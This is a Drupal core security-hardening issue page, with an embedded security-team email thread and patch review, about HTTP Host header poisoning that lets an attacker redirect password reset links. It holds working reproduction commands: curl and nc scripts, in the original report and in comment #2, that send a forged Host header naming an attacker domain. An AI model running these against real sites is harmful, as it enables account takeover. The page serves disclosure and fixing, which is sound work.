This issue has been handled by the Drupal Security Team in private and it was decided that this security hardening issue can be handled in public. See also, Handbook for Protecting against HTTP HOST Header attacks.

Problem/Motivation

An attacker can construct an HTTP POST request that changes the domain used in the password reset link.

For example, a password reset link for a Drupal site at example.com
might look like:

http://example.com/?q=user/reset/1/123abc

but the attacker can change the domain to anything:

http://foo.com/?q=user/reset/1/123abc

This can be exploited if the webserver is configured to forward any request to Drupal regardless of the domain name used in the request (catch all config).

Proposed resolution

  • Use Symfony trusted host mechanism, configured from settings.php.
  • During installation from the UI, add hostname that the installer was run from as a trusted host
  • Document how additional hosts can be whitelisted in default.settings.php and example.settings.local.php

Remaining tasks

Update Handbook after patch has been comitted.

User interface changes

None.

API changes

New setting: $settings['trusted_host_patterns'], an array of regular expression patterns representing the trusted hosts.

Beta phase evaluation

Reference: https://www.drupal.org/core/beta-changes
Issue category Bug because it exposes Drupal 8.0.x to a class of well known security exploits.
Issue priority Critical because security problems are always criticals.
Prioritized changes The main goal of this issue is security, and therefore a prioritized change.
Disruption Disruption is limited for current site owners. Nothing will break, and the Status Report will warn site owners about the new setting. Impact >> Disruption.

Original security team discussion thread

Description of Exploit

An attacker can construct an HTTP POST request that changes the domain
used in the password reset link.

For example, a password reset link for a Drupal site at example.com
might look like:

http://example.com/?q=user/reset/1/123abc

but the attacker can change the domain to anything:

http://foo.com/?q=user/reset/1/123abc

This allows the attacker to intercept the password reset URL and login
as the user, if the user clicks the link.

Drupal Version Exploited

7.22

Steps to Reproduce

Assume the Drupal instance is hosted at "example.com", has a user
named "root" and the attacker controls 'foo.com'. Execute these
commands on a linux system:

SERVER='example.com'
EVIL_SERVER='foo.com'
USERNAME='root'

Get the form_build_id from the password reset form:

FORM_BUILD_ID=`curl -s http://$SERVER/?q=user/password | grep
"form_build_id" | cut -d'"' -f6`

Build up the POST query parameters:

POST="name=$USERNAME&form_build_id=$FORM_BUILD_ID&form_id=user_pass&op=E-mail+new+password"

Calculate the length of the parameters:

LENGTH=`echo $POST | wc -c`

Build the request:

echo "POST http://$SERVER/?q=user/password HTTP/1.1
HOST: $EVIL_SERVER
Content-Length: $LENGTH
Content-Type: application/x-www-form-urlencoded

$POST
" > request.txt

Send the request:

nc $SERVER 80 < request.txt

The user "root" will now receive an email to reset his password. The
URL will be something like: http://foo.com/?q=user/reset/1/abc123

How to Fix

HTTP_HOST is user input, and should not be used without proper
sanitation. Possible solutions:

Check HTTP_HOST against a whitelist of acceptable HTTP_HOSTs defined
by the administrator (Django takes this approach).
Replace HTTP_HOST with site_name from the variable table in the Drupal
database in drupal_environment_initialize()
Replace HTTP_HOST with SERVER_NAME in drupal_environment_initialize()

Related Exploits

Just read: http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks...
--
[ Security | http://lists.drupal.org/mailman/listinfo/security ]
[Security team mailing list management and scheduling is documented here | https://security.drupal.org/handling-list-emails]

----------
From: Owen Barton
Date: Tue, May 7, 2013 at 3:12 PM
To: security@drupal.org

List only,

This is exactly the issue (and article!) we were discussing last week. As we suspected, this is reproducible in Drupal, given an appropriate "IP-only, any domain will do" server config and no special .htaccess or Drupal configuration.

Probably we should explain that there is no (easy) technical fix possible in Drupal (SERVER_NAME is also not secure, IIRC) and respond with the Greg's documentation page. Perhaps it would be good to try and get sign-off from Acquia to move that onto drupal.org too. Do we think this warrants a security PSA (or perhaps include it in a general one)?

If we do attempt a fix, it seems to me it had might as well be public, as most servers are not set up this way. I posted one suggestion in the prior thread (DNS based validation) - if people think that is feasible I am happy to open an issue.

Thanks!
- Owen
--
Owen Barton, CivicActions, Inc.
cell: 805-699-6099, skype/irc: grugnog

----------
From: Matt Chapman
Date: Tue, May 7, 2013 at 3:33 PM
To: security

Owen, et all,

Intercepting the one-time login token does NOT depend on server config. It only requires that $base_url is not explicitly set. The attack does not require that the link in the password reset email be directed to the real drupal server; it can link to any server controlled by the attacker, who can use the token to reset the victim's password before the victim visits the real drupal site.

All the Best,

Matt Chapman
Ninjitsu Web Development
http://www.NinjitsuWeb.com
ph: 818-660-6465 (818-660-NINJA)
fx: 888-702-3095

http://www.linkedin.com/profile/view?id=13333058

If you want to endorse my skills on Linked In, the most valuable endorsements to me are "Open Source" and "Software Development."

--
The contents of this message should be assumed to be Confidential, and may not be disclosed without permission of the sender.

--
[ Security | http://lists.drupal.org/mailman/listinfo/security ]
[Security team mailing list management and scheduling is documented here | https://security.drupal.org/handling-list-emails]

----------
From: Owen Barton
Date: Tue, May 7, 2013 at 3:47 PM
To: security@drupal.org

Hi Matt,

If a server is set up to direct all requests to that IP to that docroot (fairly common if you have a server that hosts only a single site, e.g. in Apache if you configure via httpd.conf, rather than a virtual host file), then I agree, this attack works as described. I also agree that the link in the email can go anywhere if you accomplish this - my point was about the routing of the POST in the first place.

If a server is set up with name based virtual hosting (which in my experience is a very common production configuration), and configured to host mydomain.com, it will not route the malicious POST that would generate the link to attacker.com in the e-mail to the Drupal site in the first place. To put it another way, how would an attacker pass a POST for attacker.com through a web server that is configured to respond to mydomain.com to the mydomain.com docroot? This server is using the client provided name to route the request, and if it does not match it would be routed to the default host (i.e. what is configured in httpd.conf - most often an empty /var/www/html directory).

For the same reason, a whitelist based .htaccess redirect protects against this - e.g.:
RewriteCond %{HTTP_HOST} !^mydomain\.com$ [NC]
RewriteRule ^(.*)$ http://mydomain.com/$1 [R=301,L]

Thanks!
- Owen

----------
From: Matt Chapman
Date: Tue, May 7, 2013 at 4:05 PM
To: security

Owen,

You're right. I was thinking of some various convoluted appoaches using rinetd and the like, but they all still depend on apache being configured to answer for any domain name.

The rewrite rule seems like a good recommendation for users who don't control their apache conf and want to support more than one $base_url.

All the Best,

Matt Chapman
Ninjitsu Web Development
http://www.NinjitsuWeb.com
ph: 818-660-6465 (818-660-NINJA)
fx: 888-702-3095

http://www.linkedin.com/profile/view?id=13333058

If you want to endorse my skills on Linked In, the most valuable endorsements to me are "Open Source" and "Software Development."

--
The contents of this message should be assumed to be Confidential, and may not be disclosed without permission of the sender.

--
[ Security | http://lists.drupal.org/mailman/listinfo/security ]
[Security team mailing list management and scheduling is documented here | https://security.drupal.org/handling-list-emails]

----------
From: Greg Knaddison
Date: Fri, May 10, 2013 at 8:56 AM
To: Security Team

I posted the article to http://drupal.org/node/1992030 - no approval from Acquia is necessary given the license on the content.

Please do improve it.

Regards,
Greg

--
Greg Knaddison | 720-310-5623 | http://knaddison.com | http://twitter.com/greggles

--
[ Security | http://lists.drupal.org/mailman/listinfo/security ]
[Security team mailing list management and scheduling is documented here | https://security.drupal.org/handling-list-emails]

----------
From: Stella Power
Date: Mon, May 13, 2013 at 1:33 AM
To: Matthew
Cc: security@drupal.org

Hi Matthew,

We've recently published a handbook page at http://drupal.org/node/1992030 which explains how to protect your site from HTTP HOST header attacks.

Thank you for reporting this issue to the Drupal security team.

Regards,

Stella Power,
on behalf of the Drupal Security team

--
[ Security | http://lists.drupal.org/mailman/listinfo/security ]
[Security team mailing list management and scheduling is documented here | https://security.drupal.org/handling-list-emails]

----------
From: Matthew Johnson
Date: Mon, May 13, 2013 at 9:13 AM
To: Stella Power
Cc: security

Thank you for the response Stella. There are some inaccuracies in the article that was posted, however. The source of the article is over a year old, and I don't believe this exploit, which makes use of a technicality in RFC-2616, section 5.2 was widely known then. There are a few dangerous and incorrect assertions in the article:

...but in a worst-case scenario could lead to them entering a password into http://other-site.example.org - a so-called social engineering attack.

This is not the worst-case scenario. The user need not ever enter their password. In the exploit I described in my original email, the user simply needs to click the one-time login link, and the attacker will gain access to their account. End of story. I hope I gave sufficient instruction on how to replicate this attack.

These two solutions do not prevent this attack:

3. Configure your webserver so that the default page served when an incoming request is something other than your default Drupal installation, such as an error page.

4. Configure your webserver to redirect all requests that reach your server that are not for the appropriate domain to forward to the right domain name.

RFC 2616, section 5.2, states:

If Request-URI is an absoluteURI, the host is part of the Request-URI. Any Host header field value in the request MUST be ignored.

Any RFC 2616 conforming web server will gladly deliver an HTTP request with a forged HTTP host header, to a specific (non-default) virtual host if the Request-URI field is an absoluteURI.

Matt
--
Matt Johnson
Programmer, Academic & Research Computing
Office of Information Technologies
Portland State University

--
[ Security | http://lists.drupal.org/mailman/listinfo/security ]
[Security team mailing list management and scheduling is documented here | https://security.drupal.org/handling-list-emails]

----------
From: Owen Barton
Date: Mon, May 13, 2013 at 9:31 AM
To: security@drupal.org

I hadn't followed the "Request-URI is an absoluteURI" part before - if this is how web servers behave (which it seems likely to be) and it does not parse the "effective host" into the PHP environment, then this could be a big problem - the HOST header could be completely forged, even in a named vhost type setup, even with .htaccess redirects. Of course, the proof is in the pudding - I think we need to test out this specific scenario, and dump the PHP environment.

- O
Owen Barton, CivicActions, Inc.
cell: 805-699-6099, skype/irc: grugnog

----------
From: Peter Wolanin
Date: Mon, May 13, 2013 at 9:35 AM
To: security@drupal.org

Yes, agreed - though the step of not using sites/default should
protect you in this case. I'll note also the D7 sites.php facility
that can be used to let several arbitrary domains use the same
settings file if needed for dev/stage/prod.

-Peter

--
Owen Barton, CivicActions, Inc.
cell: 805-699-6099, skype/irc: grugnog

Core

Comments
Thu, 2013-05-23 22:05 — Owen Barton
#1

We had a session around this issue after the security meeting at Drupalcon.

Results:

Owen and Ben were able to reproduce the issue of $_SERVER[‘HTTP_HOST’] being set to an attackers domain as reported, using a sites/default with no $base_url set.
Owen also confirmed that the generated mail is using the attackers domain as in the report.
In addition to the e-mail password reset token issue, we could imagine other attack scenarios due to Drupal thinking it’s own URL is the attackers (we could see the attackers URL in drupal_goto redirects etc), for example around OpenID/oAuth or remote API calls that may specify a callback URI (callback domain would be set to the attackers server).

Potential mitigations:

Setting $base_url to a specific value in settings.php.
We discussed automatically setting this to the installing user’s reported HTTP_HOST during install.php, which should make new installs safe by default (existing sites would need a PSA and manual config).
Using sites.php to implement a whitelist.
Using only sites/mysite.com style sites directory with no (working) sites/default directory/symlink.
Using a whitelist based .htaccess redirect based on HTTP_HOST (could also be implemented at reverse proxy), as below:
RewriteCond %{HTTP_HOST} !^mydomain\.com$ [NC]
RewriteRule ^(.*)$ http://mydomain.com/$1 [R=301,L]
The reporter said this did not work as HTTP_HOST should be ignored per the RFP - however, here we are checking that header explicitly, to ensure it is safe before Drupal sees it. The rule must not be based upon the “detected domain” however, since that would prefer the Request-URI host.

Insecure or weak (non)-mitigations:

Name based virtual hosts or similar mechanisms that rely on the “detected” host.
This is because they are (per RFC spec) using the domain from an absolute Request-URI for vhost detection, and ignoring the HTTP_HOST header.
Checking HTTP_HOST against a DNS lookup, to ensure it resolves against a trusted IP (server IP or trusted reverse proxies) - for example:
if (gethostbyname($_SERVER['HTTP_HOST']) != $_SERVER['SERVER_ADDR']) { die; }
This may be vulnerable to cache poisoning attacks however, as well as the attacker switching their DNS during the delay between e-mail generation and the user clicking on the link.

General hardening possibilities (can perhaps be public?):
Disable “magic” host detection (i.e. sites/default with no $base_url) by default, and only enable if a user has uncommented an appropriate $conf[‘auto_base_url_yes_i_have_set_up_a_whitelist’] settings.php option. This would need to be combined with auto-setting of $base_url for new installs, of course.
Overwriting the $_SERVER[‘HTTP_HOST’] variable with the configured $base_url host during drupal_valid_http_host(). This helps because some core code uses HTTP_HOST and contrib/library code is quite likely to check HTTP_HOST directly, for a while at least.

delete
edit
reply

Thu, 2013-05-23 22:47 — Owen Barton
#2

I have confirmed this issue is present with Drupal 8 also. Here is a simple one liner to reproduce:

SERVER=testhost.com
FORM_BUILD_ID=`curl -s http://$SERVER/user/password | grep "form_build_id" | cut -d'"' -f6` && curl "http://$SERVER/user/password" -H "Host: attacker.com" -H "Content-Type: application/x-www-form-urlencoded" --data "name=admin&form_build_id=$FORM_BUILD_ID&form_id=user_pass&op=E-mail+new+password"

delete
edit
reply

Tue, 2013-07-30 22:43 — scor
#3
View grants: +fabpot

delete
edit
reply

Sat, 2013-12-07 17:47 — dokumori
#4
Assigned to: Anonymous » pwolanin

Assigning to @pwolanin

delete
edit
reply

Sat, 2013-12-07 18:37 — pwolanin
#5

So, I'm not sure I see anything here that has to be private, given that https://drupal.org/node/1992030 is already public and known?

Setting $base_url on install seems like it would be disruptive and annoying? e.g. I have to rework the settings.php file if I move a local install to a server? Better might be a new variable or setting (settings page?) that's a white list of expected domains - in line with what the OP mentions "(Django takes this approach)."

Perhaps Drupal should give requirements errors if this is not set AND the sites directory is not domain based? Not sure how to handle sites.php use, however - I guess if you've implemented that the message should also be suppressed?

While-listing the expected domains in .htaccess and other approaches seem like the should be documented?

delete
edit
reply

Sat, 2013-12-07 18:41 — Damien Tournoud
#6

Name based virtual hosts or similar mechanisms that rely on the “detected” host.
This is because they are (per RFC spec) using the domain from an absolute Request-URI for vhost detection, and ignoring the HTTP_HOST header.

I still think this is the only decent way to fix the problem. We need to be able to trust what the infrastructure (ie. the web server) is telling us. The use of an absolute Request-URI is kind of a corner case and we should be able to workaround it?

Files: 
CommentFileSizeAuthor
#132 Screen Shot 2015-06-22 at 12.33.58 PM.png44.63 KBcatch
#124 http_host_header_cannot-2221699-124.patch4.71 KBRoSk0
PASSED: [[SimpleTest]]: [MySQL] 41,115 pass(es). View
#114 interdiff-108-114.txt832 bytesmpdonadio
#114 http_host_header_cannot-2221699-114.patch16.13 KBmpdonadio
PASSED: [[SimpleTest]]: [PHP 5.4 MySQL] 84,505 pass(es). View
#108 2221699.phpunit-fix.patch16.94 KBalexpott
PASSED: [[SimpleTest]]: [PHP 5.4 MySQL] 84,253 pass(es). View
#108 99-108-interdiff.txt1.58 KBalexpott
#99 interdiff-87-99.txt766 bytesmpdonadio
#99 http_host_header_cannot-2221699-99.patch16.94 KBmpdonadio
PASSED: [[SimpleTest]]: [PHP 5.4 MySQL] 84,179 pass(es). View

Comments

klausi’s picture

Issue summary: View changes
Crell’s picture

Note that Drupal 8 is subject to the same attack vector via HttpFoundation. The solution is to set only selected hosts to be trusted. See this Symfony SA:

http://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-an...

I recommend adding another commented-out block to settings.php for

Request::setTrustedHosts(array('.*\.?trusted.com$'));

with appropriate documentation.

catch’s picture

Priority: Normal » Critical
Issue tags: +D8 upgrade path, +needs backport to D7

I think we should use $_SERVER['SERVER_NAME'] in core to generate links.

You can then either set ServerName in your vhost config, or set $base_url if you get bad links. Both of those are less onerous than cache/e-mail poisoning with the current behaviour.

Bumping this to critical for 8.x and tagging D8 upgrade path since it could require particular installs to update their configuration.

That might not be an acceptable fix for 7.x but it'd be good to have some kind of hardening in there so also tagging for backport.

Fabianx’s picture

This is indeed critical.

In D8 we have _lots_ of opportunities for cache poisoning with the active-by-default #render_cache.

Want to take over a sites links to do some fishing right on the site? (only for absolute links though)

Then it is as easy as sending a poisoned host header and being the first to hit that node / listing ...

Want to display your own images? No problem at all ...

Happy hacking!

Yes, it can be easily fixed by doing proper vhosts, but seriously: Is convenience for Devs so much better than secure-by-default?

I would say: No and we should really fix it.

Xen’s picture

I don't think that adding a commented setting is going to help much. It needs to be enforced by default.

How about having a configuration item for a list of trusted (regexp) hosts, and have the installer ask for the site hostname(s) and prepopulate with the hostname used to install the site?

Crell’s picture

That host list is going to be different between my local system and prod, so it's one more thing to have to update. You already need to update db credentials, so maybe that's OK, but that would make it another must-remember-to-change property.

I defer to the sec team if that's an appropriate requirement.

pwolanin’s picture

Seems like we need a way for admins to configure a whitelist in the UI in addition to using SERVER_NAME

Suggest UX:

if you are logged out or don't have access to configure this setting and HTTP_HOST is not in the white list, you get a 403. If you are the admin, redirect to the configuration page if the setting is wrong (basically serve that one form to any domain for a logged-in user).

Fabianx’s picture

Talked with Nat and Peter Wolanin about it:

Consensus we reached was:

- Change to SERVER NAME by default -- secure
- Have a setting to use - HTTP_HOST
- Have a white list of things that contain *.local, localhost by default

That should cater to all use cases.

catch’s picture

moshe weitzman’s picture

Would anyone be willing to Assign this issue to themselves. I'm a Base system component maintainer and doing triage on Critical items.

effulgentsia’s picture

Bumping this to critical for 8.x and tagging D8 upgrade path since it could require particular installs to update their configuration.

Would #8 require a change of existing configuration from a D8 beta prior to this issue getting fixed? If not, should we remove the "D8 upgrade path" tag?

catch’s picture

@effulgentsia it would for any install where SERVER_NAME won't work for multi-site selection - in that case they'd either need to add to the whitelist or set SERVER_NAME in their vhost config or similar.

effulgentsia’s picture

@catch: but wouldn't that be the same if they installed for the first time after this issue was fixed? I'm confused what the "upgrade path" portion is.

catch’s picture

@effulgentsia yes, but I think there's a material difference:

Install - you have to do an extra step to get your new install working properly.

Update - your site suddenly stops working until you fix this.

Once we start offering beta to beta upgrades, I think that includes not knowingly breaking sites that previously were working unless we absolutely can't avoid it.

Additionally we already said we'd get all public security critical issues fixed prior to providing the beta beta upgrade path - this doesn't allow for privilege escalation at all though so it's not like XSS/CSRF/SQL injection but broadly that felt like a good cut off point for resolving known issues.

mpdonadio’s picture

Assigned: Unassigned » mpdonadio

I'll take this on. It's related to #2304949: Port HTTP Host header DoS fix from SA-CORE-2014-003, which I have been working on and was thinking about some similar issues. Ideally that would get in first, as I think this would be touch some of the same parts.

I won't be able to start real work until second week of December. Unassign me if this isn't OK.

webchick’s picture

Rock, thanks so much mpdonadio!

chx’s picture

Issue summary: View changes
mpdonadio’s picture

FileSize
1.08 KB
FAILED: [[SimpleTest]]: [PHP 5.4 MySQL] Failed to run tests: failed during invocation of run-tests.sh --clean. View
1.28 KB
FAILED: [[SimpleTest]]: [PHP 5.4 MySQL] Unable to apply patch 2221699-OPTION2_0.patch. Unable to apply patch. See the log in the details link for more information. View

[I had a lengthy post ready, but lost it when the site went into maint. mode ... I'll try to remember what I had written]

Here are two options. They aren't full patches, just ideas to talk about.

Option 1 one sets up trusted hosts in DrupalKernel::createFromRequest() using the HttpFoundation mechanism that is already built into Request. It sets up some trusted hosts for localhost and variants, as well as trusting the current SERVER_NAME. Anything later on that does a Request::getHost() or friend will be checked against the trusted hosts. If the check fails, the server will send back a 400 b/c the change in #2304949: Port HTTP Host header DoS fix from SA-CORE-2014-003. While this doesn't follow the exact proposed solution, I think follows the spirit. I think this method will be testable, and I also think we can leverage sites.php for setting up the initial trusted hosts for multisite uses. rebuild.php wouldn't be covered (it doesn't go through createFromRequest). I think only users who use Domain Access and/or run true multiple domains w/o canonical redirection would have to adjust settings.php to add in some trusted hosts.

Option 2 handles it the URL generator. This gets ugly. Essentially we would have to subclass Request or proxy/bypass a lot of its public API. The patch just shows what would happen to generateFromRoute, and it is only partial logic. generateFromPath uses different logic. This also wouldn't prevent contrib from using the public API on Request, and bypassing the protections we put in place. There are also a few other places in core, eg file_url_transform_relative, that use ->getHost(), so there would have to be a careful audit.

Fabianx’s picture

I love option 1!

This is not only in the spirit of the original proposal, but IMHO even better, to just include SERVER_NAME as one trusted host and avoid having to special case that case.

catch’s picture

I also like option #1 a lot.

Additionally that sounds like we might be able to do it in 8.0.x after the upgrade path is supported and/or backport it to Drupal 7 (at minimum for new installs with a killswitch/bypass defaulting to ON for existing installs)?

xjm’s picture

Issue tags: +Triaged D8 critical
Crell’s picture

Option 1 is generally better, no question. But is SERVER_NAME a trustworthy value?

Also, I think we've been trying to move away from Settings to using container parameters setup via services.yml. Could that be used here instead?

catch’s picture

This has to be in sites.php because the information is used to determine which site is selected. There's no container at this point and cannot be because which container is loaded depends on which site you're in.

Crell’s picture

Ah, fair point, got it.

Fabianx’s picture

SERVER_NAME is always admin entered, so a safe value.

This is also again just a heads up on the critical-ness on the issue.

Just saw a cache poison "attack" on a rather large site. Someone used the IP address to access the site and then images failed to load as they were wrongly cached in the views_cache (and SSL would correctly block the images coming from the wrong domain) ...

This was not an attack per se, but it totally means, this is not just theoretical.

I also think the handbook page should first of all say to have a default vhost with empty or disallow from all and then having vhosts for all the allowed server names.

Neither option stated there of fiddling with base url would have worked as the site is multi-lingual.

kim.pepper’s picture

Status: Active » Needs review

Is it worth testing these patches yet?

mpdonadio’s picture

Status: Needs review » Active

No, I will be proceeding with Option 1, but those patches are just rough concepts. Option 1 is close in spirit, but it will find a better place to live in the kernel. I am hoping early next week for a preliminary, but real, patch.

Manual testing the option 1 patch to see where it doesn't work would be useful so we can revise our proposed solution.

The last submitted patch, 18: 2221699-OPTION1.patch, failed testing.

Status: Active » Needs work

The last submitted patch, 18: 2221699-OPTION2.patch, failed testing.

mpdonadio’s picture

Status: Needs work » Needs review
Issue tags: +Needs tests
FileSize
2.7 KB
FAILED: [[SimpleTest]]: [PHP 5.4 MySQL] 82,345 pass(es), 38 fail(s), and 7 exception(s). View

Here is a first pass. I don't know why Drupal\views_ui\Tests\FilterNumericWebTest and Drupal\views_ui\Tests\PreviewTest are failing here w/ an untrusted host.

Where should the tests for this live? It needs to be a simple test, as we need to add some exception handling in the kernel to catch this, and then generate a proper 400. The test also needs to do some cURL shenanigans to spoof the Host header.

I'll add in a section to default.settings.php once we have tests and know what our final solution is.

mpdonadio’s picture

This is more a note to myself, but we can add an explicit check right after we set up the trusted hosts that does a ->getHost(), catches that exception and then throws BadRequestHttpException. The mechanism to handle that is already in place (very similar to how #2304949: Port HTTP Host header DoS fix from SA-CORE-2014-003 got done), and that will make this unit testable, and the test can live in \Drupal\Tests\Core\DrupalKernel.

Status: Needs review » Needs work

The last submitted patch, 30: http_host_header_cannot-2221699-30.patch, failed testing.

mpdonadio’s picture

Status: Needs work » Needs review
FileSize
5.67 KB
FAILED: [[SimpleTest]]: [PHP 5.4 MySQL] 82,509 pass(es), 1 fail(s), and 0 exception(s). View
4.2 KB

Will followup later on this patch, but the interdiff may reveal what I am worried about...

mpdonadio’s picture

OK, still waiting on a clogged TestBot, but here is what's happening.

The two fails from #30 seemed to be related to previewing Views. As far as I can tell, those are the only two test that actually do a views preview. The problem is that

1. The Host header seems to be an empty string when the preview runs
2. This triggers an untrusted host exception (the Host header is mandatory as of HTTP 1.1)

The interdiff shows what I did to "fix" it. The preview makes a new Request for the preview and pushes it onto the stack. The patch uses `Request::createFromGlobals()` instead of `new Request()` to make sure the server properties get set properly, and then copies over the trusted hosts. When you set the trusted hosts, you pass in an array of regxes w/o delimiters, but when you get them, the array or regexes has the delimiters in them.

This leads me to a few observations.

1. Request:: setTrustedHosts() sets a class static for using the same trusted hosts / patterns across Request objects, but it doesn't seem work here.
2. All of the other uses of the RequestStack seem to work (well, the tests pass). So, we are either lacking test coverage, or something weird is going on.

The rest of the patch is somewhat in progress to show the direction I was going in. The patch includes a stubbed out, failing test, that I will be working on next. We will also need some bash scripts that curl w/ naughty headers to test out the 400 generation.

Status: Needs review » Needs work

The last submitted patch, 33: http_host_header_cannot-2221699-33.patch, failed testing.

mpdonadio’s picture

Status: Needs work » Needs review
FileSize
8.56 KB
PASSED: [[SimpleTest]]: [PHP 5.4 MySQL] 82,551 pass(es). View
4.55 KB

Tests, and bugfixes that writing the tests revealed.

mpdonadio’s picture

FileSize
159 bytes

Here is a script to test with. Edit the script for the config you want to use, then invoke as `test1.sh www.example.com` or whatever you want to spoof as.

Note, that Apache sets SERVER_NAME and HTTP_HOST to the same hostname (verified on Apache 2.2.26. You need to enable UseCanonicalName for this patch to be effective. See also this answer at StackOverflow. The final documentation will have to reflect this.

mpdonadio’s picture

FileSize
9.41 KB
PASSED: [[SimpleTest]]: [PHP 5.4 MySQL] 82,557 pass(es). View
4.12 KB

Added test messages, and added tests w/ empty Host headers to simulate older HTTP/1.0 clients.

Crell’s picture

+++ b/core/modules/views_ui/src/ViewUI.php
@@ -622,6 +622,12 @@ public function renderPreview($display_id, $args = array()) {
+      $hostPatterns = $current_request->getTrustedHosts();
+      $hostPatterns = array_map(function ($hostPattern) {
+        return substr($hostPattern, 1, -2);
+      }, $hostPatterns);
+      $request->setTrustedHosts($hostPatterns);

This feels like it needs some documentation. I could suss out what's going on, but the Why escapes me.

You mention above "final documentation". Is there still more doc work to do here, do you think? At least conceptually this seems good to me; I dislike throwing yet more statics into DrupalKernel but I don't think there's much we can do about that at this point.

dawehner’s picture

  1. +++ b/core/modules/views_ui/src/ViewUI.php
    @@ -622,6 +622,12 @@ public function renderPreview($display_id, $args = array()) {
     
    +      $hostPatterns = $current_request->getTrustedHosts();
    +      $hostPatterns = array_map(function ($hostPattern) {
    +        return substr($hostPattern, 1, -2);
    +      }, $hostPatterns);
    +      $request->setTrustedHosts($hostPatterns);
    +
    

    I have to fully agree with crell here, it is so not obvious what is going on.

  2. +++ b/core/tests/Drupal/Tests/Core/DrupalKernel/TrustedHostsTest.php
    @@ -0,0 +1,129 @@
    +class TrustedHostsTest extends UnitTestCase {
    

    Can we prefix the test name with DrupalKernel?

dawehner’s picture

Status: Needs review » Needs work

So ...

mpdonadio’s picture

I'll document what is happening and what this code does, but I don't know *why* it is happening.

The Request object uses a class static for saving the trusted hosts (cf, Reqeust::setTrustedHosts), which means that the same list is shared between Request objects. If I put in a hack somewhere and do a

$request2 = new Request();
$trustedHosts = $request2->getTrustedHosts();

I can see the trusted list is the same as what the kernel set up.

However, it does not seem to do this in Views previews; hence explicitly copying over the trusted host list. Lots of other places in code make Requests on the fly and also use the RequestStack, but this appears to be the only place that the trusted mechanism breaks down. I find that troubling / weird.

Final documentation. That just means adding a section to default.settings.php showing how to use this. Since we are happy with the approach/implementation in general, I'll get that into the next patch.

jhedstrom’s picture

Issue tags: -Needs tests

This has tests now, removing tag.

mpdonadio’s picture

Status: Needs work » Needs review
FileSize
10.64 KB
PASSED: [[SimpleTest]]: [PHP 5.4 MySQL] 83,329 pass(es). View
9.41 KB

Did some more testing with this. The explicit trust host copying doesn't seem to be needed if Request::createFromGlobals() is used instead of new Request(). Added comment.

Renamed test.

First pass at a new section in default.settings.php to explain the new settings.

mpdonadio’s picture

FileSize
11.99 KB

Posted wrong interdiff...

Damien Tournoud’s picture

Status: Needs review » Needs work
+  public static function setupTrustedHosts(Request $request) {

This is internal code, should be protected.

+    $hostPatterns = Settings::get('trusted_host_patterns', array());
+
+    // Allow an empty Host header
+    $hostPatterns = array_merge($hostPatterns, array(
+      '^localhost$',
+      '^localhost\.*',
+      '\.local$',
+    ));

I don't think this makes much sense. We should trust the host name mapping to the current site (if not "default"), and we should not allow anything else by default.

+    $server_name = $request->server->get('SERVER_NAME');

SERVER_NAME is untrusted user input under Apache if UseCanonicalName if off (its default value), which basically defeat the purpose of this patch. so we should think about this twice before trusting it blindly.

+      $hostPatterns[] = '^' . str_replace('.', '\.', $server_name . '$');

This needs to use preg_quote(), there are many special characters that can get in there. For example, on Nginx if you use a regexp in the server_namedirective, you will get the full regep in SERVER_NAME.

mpdonadio’s picture

#46-1, the method is public because it is explicitly called in the test.

#46-2, the comment there is misleading. It should probably read "Trust local hostnames to account for misconfigured local development environments." It can go, though, if there is consensus.

#46-3, other than strongly suggesting `UseCanonicalName On` in the installation instructions, not sure what else we can do here, but I am open to ideas.

#46-4, yup. Fixed in my local branch.

Damien Tournoud’s picture

#46-1, the method is public because it is explicitly called in the test.

Then move it to a method object. This should not be a public method of the kernel.

#46-2, the comment there is misleading. It should probably read "Trust local hostnames to account for misconfigured local development environments." It can go, though, if there is consensus.

I understand the intent, but you cannot know what is a development environment or not. Having those hosts there basically defeats the purpose of this patch too.

#46-3, other than strongly suggesting `UseCanonicalName On` in the installation instructions, not sure what else we can do here, but I am open to ideas.

As far as I can see, this directive can be used in a .htaccess, anyone tested that?

mpdonadio’s picture

I have tested it; it doesn't work:

[Wed Dec 31 12:57:52 2014] [alert] [client ::1] /Applications/MAMP/htdocs/drupal-8.0.x/.htaccess: UseCanonicalName not allowed here

Per http://httpd.apache.org/docs/current/mod/core.html#usecanonicalname, the context for that directive is "server config, virtual host, directory" The context ".htaccess" would be needed for that to work (contexts are described at http://httpd.apache.org/docs/current/mod/directive-dict.html#Context)

mpdonadio’s picture

Status: Needs work » Needs review
FileSize
10.92 KB
PASSED: [[SimpleTest]]: [PHP 5.4 MySQL] 83,333 pass(es). View
2.42 KB

This addresses #46-1 by using reflection, and #46-4. Since we are messing with the kernel with hostname related validation, should I also make `validateHostname()` protected and test via reflection?

Can we discuss allowing the local names by default, and the UseCanonicalName / SERVER_NAME issue during the WSCCI mtg on Thursday?

larowlan’s picture

+++ b/sites/default/default.settings.php
@@ -631,3 +631,36 @@
+ * will allow the site to run off of all variantes of example.com and

%s/varaintes/varaints

+++ b/core/lib/Drupal/Core/DrupalKernel.php
@@ -1313,4 +1326,67 @@ public static function validateHostname(Request $request) {
+    $hostPatterns = array_merge($hostPatterns, array(
+      '^localhost$',

Not sure I agree with this - can't this be part of the default.settings.php comments/examples instead?
Not sure we should babysit broken configuration, also wouldn't localhost.evil.com match against '^localhost\.*' so that won't fix the original problem

+++ b/core/lib/Drupal/Core/DrupalKernel.php
@@ -222,6 +225,16 @@ public static function createFromRequest(Request $request, $class_loader, $envir
     $kernel->setSitePath($site_path);

Note the call to findSitePath above already calls $request->getHost() as well as static::validateHostname - which also calls $request->getHost(). Perhaps some of these could be consolidated?

mpdonadio’s picture

Status: Needs review » Needs work

I'll remove the local defaults, and figure out a better way to have this enabled by default, but also work with misconfigured local devs.

Re #51 and the findSitePath. The first call to $request->getHost() is done before we have a path to settings.php, and the validateHostname() is the DOS protection from #2304949: Port HTTP Host header DoS fix from SA-CORE-2014-003. If someone needs to have overrides, they need to go into settings.php, so we need to set that up into the Symfony trusted hosts, and then go another $request->getHost(), which does the trusted host check via protected method. Not sure we can clean this up until we abandon multisite support.

mpdonadio’s picture

Assigned: mpdonadio » Unassigned
Status: Needs work » Needs review
FileSize
7.88 KB
PASSED: [[SimpleTest]]: [PHP 5.4 MySQL] 83,443 pass(es). View
9.38 KB

If we remove the localhost defaults, and consider SERVER_NAME as untrustworthy in Apache situations where `UseCanonicalName off`, then I don't think we can have this enabled by default. This patch makes the protection opt-in via settings.

Open to suggestions on where to go from here.

Damien Tournoud’s picture

